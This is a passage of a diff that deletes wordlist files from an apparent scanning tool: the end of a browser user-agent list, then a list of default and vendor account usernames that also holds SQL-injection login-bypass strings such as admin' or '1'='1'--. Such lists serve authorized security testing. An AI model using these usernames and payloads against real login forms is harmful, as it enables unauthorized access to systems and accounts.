(KHTML, like Gecko) Version/4.0.4 Mobile/7B360 Safari/531.21.10 -Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; es-es) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B367 Safari/531.21.10 -Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; ja-jp) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5 -Mozilla/5.0 (iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 -Mozilla/5.0 (iPhone Simulator; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7D11 Safari/531.21.10 -Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10 -Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_1 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8B117 Safari/6531.22.7 -Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_1 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8B5097d Safari/6531.22.7 -Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; da-dk) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5 -Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; de-de) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5 -Mozilla/5.0 ArchLinux (X11; U; Linux x86_64; en-US) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 -Mozilla/5.0 ArchLinux (X11; U; Linux x86_64; en-US) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30 -Mozilla/5.0 ArchLinux (X11; U; Linux x86_64; en-US) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.60 Safari/534.30 -Mozilla/5.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.13) Firefox/3.6.13 -Mozilla/5.0(Windows; U; Windows NT 5.2; rv:1.9.2) Gecko/20100101 Firefox/3.6 -Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10 -Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10gin_lib.cc -Mozilla/6.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:2.0.0.0) Gecko/20061028 Firefox/3.0 -Mozilla/6.0 (Windows; U; Windows NT 6.0; en-US) Gecko/2009032609 (KHTML, like Gecko) Chrome/2.0.172.6 Safari/530.7 -Mozilla/6.0 (Windows; U; Windows NT 6.0; en-US) Gecko/2009032609 Chrome/2.0.172.6 Safari/530.7 -Mozilla/6.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 -Mozilla/6.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) -Mozilla/6.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0 -Mozilla/6.0 (Windows; U; Windows NT 7.0; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.9 (.NET CLR 3.5.30729) -Opera 9.4 (Windows NT 5.3; U; en) -Opera 9.4 (Windows NT 6.1; U; en) -Opera 9.7 (Windows NT 5.2; U; en) -Opera/10.50 (Windows NT 6.1; U; en-GB) Presto/2.2.2 -Opera/10.60 (Windows NT 5.1; U; en-US) Presto/2.6.30 Version/10.60 -Opera/10.60 (Windows NT 5.1; U; zh-cn) Presto/2.6.30 Version/10.60 -Opera/2.0.3920 (J2ME/MIDP; Opera Mini; en; U; ssr) -Opera/7.23 (Windows 98; U) [en] -Opera/8.0 (X11; Linux i686; U; cs) -Opera/8.00 (Windows NT 5.1; U; en) -Opera/8.01 (J2ME/MIDP; Opera Mini/2.0.4062; en; U; ssr) -Opera/8.01 (J2ME/MIDP; Opera Mini/2.0.4509/1316; fi; U; ssr) -Opera/8.01 (J2ME/MIDP; Opera Mini/2.0.4719; en; U; ssr) -Opera/8.02 (Qt embedded; Linux armv4ll; U) [en] SONY/COM1 -Opera/8.02 (Windows NT 5.1; U; en) -Opera/8.5 (X11; Linux i686; U; cs) -Opera/8.50 (Windows NT 5.1; U; en) -Opera/8.51 (Windows NT 5.1; U; en) -Opera/9.0 (Windows NT 5.0; U; en) -Opera/9.00 (Macintosh; PPC Mac OS X; U; en) -Opera/9.00 (Wii; U; ; 1038-58; Wii Shop Channel/1.0; en) -Opera/9.00 (Windows NT 5.1; U; en) -Opera/9.00 (Windows NT 5.2; U; en) -Opera/9.00 (Windows NT 6.0; U; en) -Opera/9.01 (X11; Linux i686; U; en) -Opera/9.02 (Windows NT 5.1; U; en) -Opera/9.10 (Windows NT 5.1; U; MEGAUPLOAD 1.0; pl) -Opera/9.10 (Windows NT 5.1; U; es-es) -Opera/9.10 (Windows NT 5.1; U; fi) -Opera/9.10 (Windows NT 5.1; U; hu) -Opera/9.10 (Windows NT 5.1; U; it) -Opera/9.10 (Windows NT 5.1; U; nl) -Opera/9.10 (Windows NT 5.1; U; pl) -Opera/9.10 (Windows NT 5.1; U; pt) -Opera/9.10 (Windows NT 5.1; U; sv) -Opera/9.10 (Windows NT 5.1; U; zh-tw) -Opera/9.10 (Windows NT 5.2; U; de) -Opera/9.10 (Windows NT 5.2; U; en) -Opera/9.10 (Windows NT 6.0; U; en) -Opera/9.10 (Windows NT 6.0; U; it-IT) -Opera/9.10 (X11; Linux i386; U; en) -Opera/9.10 (X11; Linux i686; U; en) -Opera/9.10 (X11; Linux i686; U; kubuntu;pl) -Opera/9.10 (X11; Linux i686; U; pl) -Opera/9.10 (X11; Linux x86_64; U; en) -Opera/9.10 (X11; Linux; U; en) -Opera/9.12 (Windows NT 5.0; U) -Opera/9.12 (Windows NT 5.0; U; ru) -Opera/9.12 (X11; Linux i686; U; en) (Ubuntu) -Opera/9.20 (Windows NT 5.1; U; MEGAUPLOAD=1.0; es-es) -Opera/9.20 (Windows NT 5.1; U; en) -Opera/9.20 (Windows NT 5.1; U; es-AR) -Opera/9.20 (Windows NT 5.1; U; es-es) -Opera/9.20 (Windows NT 5.1; U; it) -Opera/9.20 (Windows NT 5.1; U; nb) -Opera/9.20 (Windows NT 5.1; U; zh-tw) -Opera/9.20 (Windows NT 5.2; U; en) -Opera/9.20 (Windows NT 6.0; U; de) -Opera/9.20 (Windows NT 6.0; U; en) -Opera/9.20 (Windows NT 6.0; U; es-es) -Opera/9.20 (X11; Linux i586; U; en) -Opera/9.20 (X11; Linux i686; U; en) -Opera/9.20 (X11; Linux i686; U; es-es) -Opera/9.20 (X11; Linux i686; U; pl) -Opera/9.20 (X11; Linux i686; U; ru) -Opera/9.20 (X11; Linux i686; U; tr) -Opera/9.20 (X11; Linux ppc; U; en) -Opera/9.20 (X11; Linux x86_64; U; en) -Opera/9.20(Windows NT 5.1; U; en) -Opera/9.21 (Macintosh; Intel Mac OS X; U; en) -Opera/9.21 (Macintosh; PPC Mac OS X; U; en) -Opera/9.21 (Windows 98; U; en) -Opera/9.21 (Windows NT 5.0; U; de) -Opera/9.21 (Windows NT 5.1; U; MEGAUPLOAD 1.0; en) -Opera/9.21 (Windows NT 5.1; U; SV1; MEGAUPLOAD 1.0; ru) -Opera/9.21 (Windows NT 5.1; U; de) -Opera/9.21 (Windows NT 5.1; U; en) -Opera/9.21 (Windows NT 5.1; U; fr) -Opera/9.21 (Windows NT 5.1; U; nl) -Opera/9.21 (Windows NT 5.1; U; pl) -Opera/9.21 (Windows NT 5.1; U; pt-br) -Opera/9.21 (Windows NT 5.1; U; ru) -Opera/9.21 (Windows NT 5.2; U; en) -Opera/9.21 (Windows NT 6.0; U; en) -Opera/9.21 (Windows NT 6.0; U; nb) -Opera/9.21 (X11; Linux i686; U; de) -Opera/9.21 (X11; Linux i686; U; en) -Opera/9.21 (X11; Linux i686; U; es-es) -Opera/9.21 (X11; Linux x86_64; U; en) -Opera/9.22 (Windows NT 5.1; U; SV1; MEGAUPLOAD 1.0; ru) -Opera/9.22 (Windows NT 5.1; U; SV1; MEGAUPLOAD 2.0; ru) -Opera/9.22 (Windows NT 5.1; U; en) -Opera/9.22 (Windows NT 5.1; U; fr) -Opera/9.22 (Windows NT 5.1; U; pl) -Opera/9.22 (Windows NT 6.0; U; en) -Opera/9.22 (Windows NT 6.0; U; ru) -Opera/9.22 (X11; Linux i686; U; de) -Opera/9.22 (X11; Linux i686; U; en) -Opera/9.22 (X11; OpenBSD i386; U; en) -Opera/9.23 (Mac OS X; fr) -Opera/9.23 (Mac OS X; ru) -Opera/9.23 (Macintosh; Intel Mac OS X; U; ja) -Opera/9.23 (Nintendo Wii; U; ; 1038-58; Wii Internet Channel/1.0; en) -Opera/9.23 (Windows NT 5.0; U; de) -Opera/9.23 (Windows NT 5.0; U; en) -Opera/9.23 (Windows NT 5.1; U; SV1; MEGAUPLOAD 1.0; ru) -Opera/9.23 (Windows NT 5.1; U; da) -Opera/9.23 (Windows NT 5.1; U; de) -Opera/9.23 (Windows NT 5.1; U; en) -Opera/9.23 (Windows NT 5.1; U; fi) -Opera/9.23 (Windows NT 5.1; U; it) -Opera/9.23 (Windows NT 5.1; U; ja) -Opera/9.23 (Windows NT 5.1; U; pt) -Opera/9.23 (Windows NT 5.1; U; zh-cn) -Opera/9.23 (Windows NT 6.0; U; de) -Opera/9.23 (X11; Linux i686; U; en) -Opera/9.23 (X11; Linux i686; U; es-es) -Opera/9.23 (X11; Linux x86_64; U; en) -Opera/9.24 (Macintosh; PPC Mac OS X; U; en) -Opera/9.24 (Windows NT 5.0; U; ru) -Opera/9.24 (Windows NT 5.1; U; ru) -Opera/9.24 (Windows NT 5.1; U; tr) -Opera/9.24 (X11; Linux i686; U; de) -Opera/9.24 (X11; SunOS i86pc; U; en) -Opera/9.25 (Macintosh; Intel Mac OS X; U; en) -Opera/9.25 (Macintosh; PPC Mac OS X; U; en) -Opera/9.25 (OpenSolaris; U; en) -Opera/9.25 (Windows NT 4.0; U; en) -Opera/9.25 (Windows NT 5.0; U; cs) -Opera/9.25 (Windows NT 5.0; U; en) -Opera/9.25 (Windows NT 5.1; U; MEGAUPLOAD 1.0; pt-br) -Opera/9.25 (Windows NT 5.1; U; de) -Opera/9.25 (Windows NT 5.1; U; lt) -Opera/9.25 (Windows NT 5.1; U; ru) -Opera/9.25 (Windows NT 5.1; U; zh-cn) -Opera/9.25 (Windows NT 5.2; U; en) -Opera/9.25 (Windows NT 6.0; U; MEGAUPLOAD 1.0; ru) -Opera/9.25 (Windows NT 6.0; U; SV1; MEGAUPLOAD 2.0; ru) -Opera/9.25 (Windows NT 6.0; U; en-US) -Opera/9.25 (Windows NT 6.0; U; ru) -Opera/9.25 (Windows NT 6.0; U; sv) -Opera/9.25 (X11; Linux i686; U; en) -Opera/9.25 (X11; Linux i686; U; fr) -Opera/9.25 (X11; Linux i686; U; fr-ca) -Opera/9.26 (Macintosh; PPC Mac OS X; U; en) -Opera/9.26 (Windows NT 5.1; U; MEGAUPLOAD 2.0; en) -Opera/9.26 (Windows NT 5.1; U; de) -Opera/9.26 (Windows NT 5.1; U; nl) -Opera/9.26 (Windows NT 5.1; U; pl) -Opera/9.26 (Windows NT 5.1; U; zh-cn) -Opera/9.27 (Macintosh; Intel Mac OS X; U; sv) -Opera/9.27 (Windows NT 5.1; U; ja) -Opera/9.27 (Windows NT 5.2; U; en) -Opera/9.27 (X11; Linux i686; U; en) -Opera/9.27 (X11; Linux i686; U; fr) -Opera/9.30 (Nintendo Wii; U; ; 2047-7; de) -Opera/9.30 (Nintendo Wii; U; ; 2047-7; fr) -Opera/9.30 (Nintendo Wii; U; ; 2047-7;en) -Opera/9.30 (Nintendo Wii; U; ; 2047-7;es) -Opera/9.30 (Nintendo Wii; U; ; 2047-7;pt-br) -Opera/9.30 (Nintendo Wii; U; ; 2071; Wii Shop Channel/1.0; en) -Opera/9.5 (Windows NT 5.1; U; fr) -Opera/9.5 (Windows NT 6.0; U; en) -Opera/9.50 (Macintosh; Intel Mac OS X; U; de) -Opera/9.50 (Macintosh; Intel Mac OS X; U; en) -Opera/9.50 (Windows NT 5.1; U; es-ES) -Opera/9.50 (Windows NT 5.1; U; it) -Opera/9.50 (Windows NT 5.1; U; nl) -Opera/9.50 (Windows NT 5.1; U; nn) -Opera/9.50 (Windows NT 5.1; U; ru) -Opera/9.50 (Windows NT 5.2; U; it) -Opera/9.50 (X11; Linux i686; U; es-ES) -Opera/9.50 (X11; Linux ppc; U; en) -Opera/9.50 (X11; Linux x86_64; U; nb) -Opera/9.50 (X11; Linux x86_64; U; pl) -Opera/9.51 (Macintosh; Intel Mac OS X; U; en) -Opera/9.51 (Windows NT 5.1; U; da) -Opera/9.51 (Windows NT 5.1; U; en) -Opera/9.51 (Windows NT 5.1; U; en-GB) -Opera/9.51 (Windows NT 5.1; U; es-AR) -Opera/9.51 (Windows NT 5.1; U; es-LA) -Opera/9.51 (Windows NT 5.1; U; fr) -Opera/9.51 (Windows NT 5.1; U; nn) -Opera/9.51 (Windows NT 5.2; U; en) -Opera/9.51 (Windows NT 6.0; U; en) -Opera/9.51 (Windows NT 6.0; U; es) -Opera/9.51 (Windows NT 6.0; U; sv) -Opera/9.51 (X11; Linux i686; U; Linux Mint; en) -Opera/9.51 (X11; Linux i686; U; de) -Opera/9.51 (X11; Linux i686; U; fr) -Opera/9.52 (Macintosh; Intel Mac OS X; U; pt) -Opera/9.52 (Macintosh; Intel Mac OS X; U; pt-BR) -Opera/9.52 (Macintosh; PPC Mac OS X; U; fr) -Opera/9.52 (Macintosh; PPC Mac OS X; U; ja) -Opera/9.52 (Windows NT 5.0; U; en) -Opera/9.52 (Windows NT 5.2; U; ru) -Opera/9.52 (Windows NT 6.0; U; Opera/9.52 (X11; Linux x86_64; U); en) -Opera/9.52 (Windows NT 6.0; U; de) -Opera/9.52 (Windows NT 6.0; U; en) -Opera/9.52 (Windows NT 6.0; U; fr) -Opera/9.52 (X11; Linux i686; U; cs) -Opera/9.52 (X11; Linux i686; U; en) -Opera/9.52 (X11; Linux i686; U; fr) -Opera/9.52 (X11; Linux ppc; U; de) -Opera/9.52 (X11; Linux x86_64; U) -Opera/9.52 (X11; Linux x86_64; U; en) -Opera/9.52 (X11; Linux x86_64; U; ru) -Opera/9.60 (Windows NT 5.0; U; en) Presto/2.1.1 -Opera/9.60 (Windows NT 5.1; U; en-GB) Presto/2.1.1 -Opera/9.60 (Windows NT 5.1; U; es-ES) Presto/2.1.1 -Opera/9.60 (Windows NT 5.1; U; sv) Presto/2.1.1 -Opera/9.60 (Windows NT 5.1; U; tr) Presto/2.1.1 -Opera/9.60 (Windows NT 6.0; U; bg) Presto/2.1.1 -Opera/9.60 (Windows NT 6.0; U; de) Presto/2.1.1 -Opera/9.60 (Windows NT 6.0; U; pl) Presto/2.1.1 -Opera/9.60 (Windows NT 6.0; U; ru) Presto/2.1.1 -Opera/9.60 (Windows NT 6.0; U; uk) Presto/2.1.1 -Opera/9.60 (X11; Linux i686; U; en-GB) Presto/2.1.1 -Opera/9.60 (X11; Linux i686; U; ru) Presto/2.1.1 -Opera/9.60 (X11; Linux x86_64; U) -Opera/9.61 (Macintosh; Intel Mac OS X; U; de) Presto/2.1.1 -Opera/9.61 (Windows NT 5.1; U; cs) Presto/2.1.1 -Opera/9.61 (Windows NT 5.1; U; de) Presto/2.1.1 -Opera/9.61 (Windows NT 5.1; U; en) Presto/2.1.1 -Opera/9.61 (Windows NT 5.1; U; en-GB) Presto/2.1.1 -Opera/9.61 (Windows NT 5.1; U; fr) Presto/2.1.1 -Opera/9.61 (Windows NT 5.1; U; ru) Presto/2.1.1 -Opera/9.61 (Windows NT 5.1; U; zh-cn) Presto/2.1.1 -Opera/9.61 (Windows NT 5.1; U; zh-tw) Presto/2.1.1 -Opera/9.61 (Windows NT 5.2; U; en) Presto/2.1.1 -Opera/9.61 (Windows NT 6.0; U; en) Presto/2.1.1 -Opera/9.61 (Windows NT 6.0; U; http://lucideer.com; en-GB) Presto/2.1.1 -Opera/9.61 (Windows NT 6.0; U; pt-BR) Presto/2.1.1 -Opera/9.61 (Windows NT 6.0; U; ru) Presto/2.1.1 -Opera/9.61 (X11; Linux i686; U; de) Presto/2.1.1 -Opera/9.61 (X11; Linux i686; U; en) Presto/2.1.1 -Opera/9.61 (X11; Linux i686; U; pl) Presto/2.1.1 -Opera/9.61 (X11; Linux i686; U; ru) Presto/2.1.1 -Opera/9.61 (X11; Linux x86_64; U; fr) Presto/2.1.1 -Opera/9.62 (Windows NT 5.1; U; pl) Presto/2.1.1 -Opera/9.62 (Windows NT 5.1; U; pt-BR) Presto/2.1.1 -Opera/9.62 (Windows NT 5.1; U; ru) Presto/2.1.1 -Opera/9.62 (Windows NT 5.1; U; tr) Presto/2.1.1 -Opera/9.62 (Windows NT 5.1; U; zh-cn) Presto/2.1.1 -Opera/9.62 (Windows NT 5.1; U; zh-tw) Presto/2.1.1 -Opera/9.62 (Windows NT 5.2; U; en) Presto/2.1.1 -Opera/9.62 (Windows NT 6.0; U; de) Presto/2.1.1 -Opera/9.62 (Windows NT 6.0; U; en) Presto/2.1.1 -Opera/9.62 (Windows NT 6.0; U; en-GB) Presto/2.1.1 -Opera/9.62 (Windows NT 6.0; U; nb) Presto/2.1.1 -Opera/9.62 (Windows NT 6.0; U; pl) Presto/2.1.1 -Opera/9.62 (Windows NT 6.1; U; de) Presto/2.1.1 -Opera/9.62 (Windows NT 6.1; U; en) Presto/2.1.1 -Opera/9.62 (X11; Linux i686; U; Linux Mint; en) Presto/2.1.1 -Opera/9.62 (X11; Linux i686; U; en) Presto/2.1.1 -Opera/9.62 (X11; Linux i686; U; fi) Presto/2.1.1 -Opera/9.62 (X11; Linux i686; U; it) Presto/2.1.1 -Opera/9.62 (X11; Linux i686; U; pt-BR) Presto/2.1.1 -Opera/9.62 (X11; Linux x86_64; U; ru) Presto/2.1.1 -Opera/9.63 (Windows NT 5.1; U; pt-BR) Presto/2.1.1 -Opera/9.63 (Windows NT 5.2; U; de) Presto/2.1.1 -Opera/9.63 (Windows NT 5.2; U; en) Presto/2.1.1 -Opera/9.63 (Windows NT 6.0; U; cs) Presto/2.1.1 -Opera/9.63 (Windows NT 6.0; U; en) Presto/2.1.1 -Opera/9.63 (Windows NT 6.0; U; fr) Presto/2.1.1 -Opera/9.63 (Windows NT 6.0; U; nb) Presto/2.1.1 -Opera/9.63 (Windows NT 6.0; U; pl) Presto/2.1.1 -Opera/9.63 (Windows NT 6.1; U; de) Presto/2.1.1 -Opera/9.63 (Windows NT 6.1; U; en) Presto/2.1.1 -Opera/9.63 (Windows NT 6.1; U; hu) Presto/2.1.1 -Opera/9.63 (X11; FreeBSD 7.1-RELEASE i386; U; en) Presto/2.1.1 -Opera/9.63 (X11; Linux i686) -Opera/9.63 (X11; Linux i686; U; de) Presto/2.1.1 -Opera/9.63 (X11; Linux i686; U; en) -Opera/9.63 (X11; Linux i686; U; nb) Presto/2.1.1 -Opera/9.63 (X11; Linux i686; U; ru) -Opera/9.63 (X11; Linux i686; U; ru) Presto/2.1.1 -Opera/9.63 (X11; Linux x86_64; U; cs) Presto/2.1.1 -Opera/9.63 (X11; Linux x86_64; U; ru) Presto/2.1.1 -Opera/9.64 (Windows NT 6.0; U; pl) Presto/2.1.1 -Opera/9.64 (Windows NT 6.0; U; zh-cn) Presto/2.1.1 -Opera/9.64 (Windows NT 6.1; U; MRA 5.5 (build 02842); ru) Presto/2.1.1 -Opera/9.64 (Windows NT 6.1; U; de) Presto/2.1.1 -Opera/9.64 (X11; Linux i686; U; Linux Mint; it) Presto/2.1.1 -Opera/9.64 (X11; Linux i686; U; Linux Mint; nb) Presto/2.1.1 -Opera/9.64 (X11; Linux i686; U; da) Presto/2.1.1 -Opera/9.64 (X11; Linux i686; U; de) Presto/2.1.1 -Opera/9.64 (X11; Linux i686; U; en) Presto/2.1.1 -Opera/9.64 (X11; Linux i686; U; nb) Presto/2.1.1 -Opera/9.64 (X11; Linux i686; U; pl) Presto/2.1.1 -Opera/9.64 (X11; Linux i686; U; sv) Presto/2.1.1 -Opera/9.64 (X11; Linux i686; U; tr) Presto/2.1.1 -Opera/9.64 (X11; Linux x86_64; U; cs) Presto/2.1.1 -Opera/9.64 (X11; Linux x86_64; U; de) Presto/2.1.1 -Opera/9.64 (X11; Linux x86_64; U; en) Presto/2.1.1 -Opera/9.64 (X11; Linux x86_64; U; en-GB) Presto/2.1.1 -Opera/9.64 (X11; Linux x86_64; U; hr) Presto/2.1.1 -Opera/9.64 (X11; Linux x86_64; U; pl) Presto/2.1.1 -Opera/9.64(Windows NT 5.1; U; en) Presto/2.1.1 -Opera/9.70 (Linux i686 ; U; ; en) Presto/2.2.1 -Opera/9.70 (Linux i686 ; U; ; en) Presto/2.2.1 -Opera/9.70 (Linux i686 ; U; en) Presto/2.2.0 -Opera/9.70 (Linux i686 ; U; en) Presto/2.2.1 -Opera/9.70 (Linux i686 ; U; en-us) Presto/2.2.0 -Opera/9.70 (Linux i686 ; U; zh-cn) Presto/2.2.0 -Opera/9.70 (Linux ppc64 ; U; en) Presto/2.2.1 -Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15 -Opera/9.80 (Linux i686; U; en) Presto/2.5.22 Version/10.51 -Opera/9.80 (Macintosh; Intel Mac OS X; U; nl) Presto/2.6.30 Version/10.61 -Opera/9.80 (Windows 98; U; de) Presto/2.6.30 Version/10.61 -Opera/9.80 (Windows NT 5.1; U; cs) Presto/2.2.15 Version/10.10 -Opera/9.80 (Windows NT 5.1; U; de) Presto/2.2.15 Version/10.10 -Opera/9.80 (Windows NT 5.1; U; it) Presto/2.7.62 Version/11.00 -Opera/9.80 (Windows NT 5.1; U; pl) Presto/2.6.30 Version/10.62 -Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.00 -Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.5.22 Version/10.50 -Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.7.39 Version/11.00 -Opera/9.80 (Windows NT 5.1; U; zh-cn) Presto/2.2.15 Version/10.00 -Opera/9.80 (Windows NT 5.2; U; en) Presto/2.2.15 Version/10.00 -Opera/9.80 (Windows NT 5.2; U; en) Presto/2.6.30 Version/10.63 -Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51 -Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.6.30 Version/10.61 -Opera/9.80 (Windows NT 5.2; U; zh-cn) Presto/2.6.30 Version/10.63 -Opera/9.80 (Windows NT 6.0; U; Gecko/20100115; pl) Presto/2.2.15 Version/10.10 -Opera/9.80 (Windows NT 6.0; U; cs) Presto/2.5.22 Version/10.51 -Opera/9.80 (Windows NT 6.0; U; de) Presto/2.2.15 Version/10.00 -Opera/9.80 (Windows NT 6.0; U; en) Presto/2.2.15 Version/10.00 -Opera/9.80 (Windows NT 6.0; U; en) Presto/2.2.15 Version/10.10 -Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.39 Version/11.00 -Opera/9.80 (Windows NT 6.0; U; it) Presto/2.6.30 Version/10.61 -Opera/9.80 (Windows NT 6.0; U; nl) Presto/2.6.30 Version/10.60 -Opera/9.80 (Windows NT 6.0; U; zh-cn) Presto/2.5.22 Version/10.50 -Opera/9.80 (Windows NT 6.1; U; cs) Presto/2.2.15 Version/10.00 -Opera/9.80 (Windows NT 6.1; U; de) Presto/2.2.15 Version/10.00 -Opera/9.80 (Windows NT 6.1; U; de) Presto/2.2.15 Version/10.10 -Opera/9.80 (Windows NT 6.1; U; en) Presto/2.2.15 Version/10.00 -Opera/9.80 (Windows NT 6.1; U; en) Presto/2.5.22 Version/10.51 -Opera/9.80 (Windows NT 6.1; U; en) Presto/2.6.30 Version/10.61 -Opera/9.80 (Windows NT 6.1; U; en-GB) Presto/2.7.62 Version/11.00 -Opera/9.80 (Windows NT 6.1; U; fi) Presto/2.2.15 Version/10.00 -Opera/9.80 (Windows NT 6.1; U; fr) Presto/2.5.24 Version/10.52 -Opera/9.80 (Windows NT 6.1; U; ja) Presto/2.5.22 Version/10.50 -Opera/9.80 (Windows NT 6.1; U; pl) Presto/2.6.31 Version/10.70 -Opera/9.80 (Windows NT 6.1; U; pl) Presto/2.7.62 Version/11.00 -Opera/9.80 (Windows NT 6.1; U; sk) Presto/2.6.22 Version/10.50 -Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.2.15 Version/10.00 -Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.5.22 Version/10.50 -Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.6.30 Version/10.61 -Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.6.37 Version/11.00 -Opera/9.80 (Windows NT 6.1; U; zh-tw) Presto/2.5.22 Version/10.50 -Opera/9.80 (X11; Linux i686; U; Debian; pl) Presto/2.2.15 Version/10.00 -Opera/9.80 (X11; Linux i686; U; de) Presto/2.2.15 Version/10.00 -Opera/9.80 (X11; Linux i686; U; en) Presto/2.2.15 Version/10.00 -Opera/9.80 (X11; Linux i686; U; en) Presto/2.5.27 Version/10.60 -Opera/9.80 (X11; Linux i686; U; en-GB) Presto/2.2.15 Version/10.00 -Opera/9.80 (X11; Linux i686; U; en-GB) Presto/2.5.24 Version/10.53 -Opera/9.80 (X11; Linux i686; U; es-ES) Presto/2.6.30 Version/10.61 -Opera/9.80 (X11; Linux i686; U; it) Presto/2.5.24 Version/10.54 -Opera/9.80 (X11; Linux i686; U; nb) Presto/2.2.15 Version/10.00 -Opera/9.80 (X11; Linux i686; U; pl) Presto/2.2.15 Version/10.00 -Opera/9.80 (X11; Linux i686; U; pl) Presto/2.6.30 Version/10.61 -Opera/9.80 (X11; Linux i686; U; pt-BR) Presto/2.2.15 Version/10.00 -Opera/9.80 (X11; Linux i686; U; ru) Presto/2.2.15 Version/10.00 -Opera/9.80 (X11; Linux x86_64; U; de) Presto/2.2.15 Version/10.00 -Opera/9.80 (X11; Linux x86_64; U; en) Presto/2.2.15 Version/10.00 -Opera/9.80 (X11; Linux x86_64; U; en-GB) Presto/2.2.15 Version/10.01 -Opera/9.80 (X11; Linux x86_64; U; it) Presto/2.2.15 Version/10.10 -Opera/9.80 (X11; Linux x86_64; U; pl) Presto/2.7.62 Version/11.00 -Opera/9.80 (X11; U; Linux i686; en-US; rv:1.9.2.3) Presto/2.2.15 Version/10.10 -Opera/9.99 (Windows NT 5.1; U; pl) Presto/9.9.9 \ No newline at end of file diff --git a/dict/information/usernames.txt b/dict/information/usernames.txt deleted file mode 100644 index b8800aa..0000000 --- a/dict/information/usernames.txt +++ /dev/null @@ -1,375 +0,0 @@ - -1 -10000 -100000 -100001 -10001 -1001 -10086 -101 -1012NW -11 -1111 -111111 -123456 -123456789@qq.com -1997 -1998 -1nstaller -2000 -2014 -2015 -2016 -222222 -333 -ADMIN -ADmin -Admin -Admin123 -Administrator -Airaya -Audrey -Best1_User -Bill -ClearOne -Crowd -Demo -Denny -End User -HPSupport -Homepage Password -KeyOperator -Liebert -LocalAdministrator -LocalService -Lonnie -MCUser -Minnie -NSA -NetLinx -PACSLinkIP -PLMIMService -Polycom -RNIServiceManager -SA -Service -SuperUser -TMAR#HWMT8007079 -Test -Test Everything -Test1 -Test123 -Test2 -Test3 -USER -USERID -User -Username -VNC -VOL-0215 -WEBADM -WinCCAdmin -WinCCConnect -__super -admin -admin' and '1'!='1 -admin' and '1'='1 -or 1=1 -or 1=1-- -or 1=1# -or 1=1/* -admin' -- -admin' # -admin'/* -admin' or '1'='1 -admin' or '1'='1'-- -admin' or '1'='1'# -admin' or '1'='1'/* -admin'or 1=1 or ''=' -admin' or 1=1 -admin' or 1=1-- -admin' or 1=1# -admin' or 1=1/* -admin') or ('1'='1 -admin') or ('1'='1'-- -admin') or ('1'='1'# -admin01 -admin02 -admin1 -admin10000 -admin10086 -admin123 -admin12345 -admin123456 -admin2 -admin3 -adminadmin -administrator -administrator1 -administrator123 -administrator123456 -administrator2 -administrator3 -admn -al -albert -alfonse -alice -anonymous -aparker@geometrixx.info -apcc -aq -aqadmin -aqtest -asdf -auditor -author -backuponly -backuprestore -basisk -beer -ben -benjamin -bill -bob -bonky -borris -bud -bugs -builtin -cartman -cellit -ceshi -ceshi01 -ceshi02 -ceshi1charlie -cisco -clearone -coca -conferencing -coors -crowd­-openid-­server -daddy -daffy -db2inst1 -debug -demo -dev -device -dick -donald -dpn -elmer -epiq_api -factory -faith -father -fg_sysadmin -firstsite -foodeater -fwadmin -gbh -gene -george -georgia -greenbay -guest -guest01 -guest1 -guest123 -guest123456 -guestguest -heil -houston -hqadmin -hscroot -ilom-admin -ilom-operator -ilon -index -indigo -install -installer -internet -jamfsoftware -japan -jasperadmin -jdoe@geometrixx.info -jeff -joe -joeuser -john -kenny -kyle -lansweeperuser -less -letmein -lexar -linda 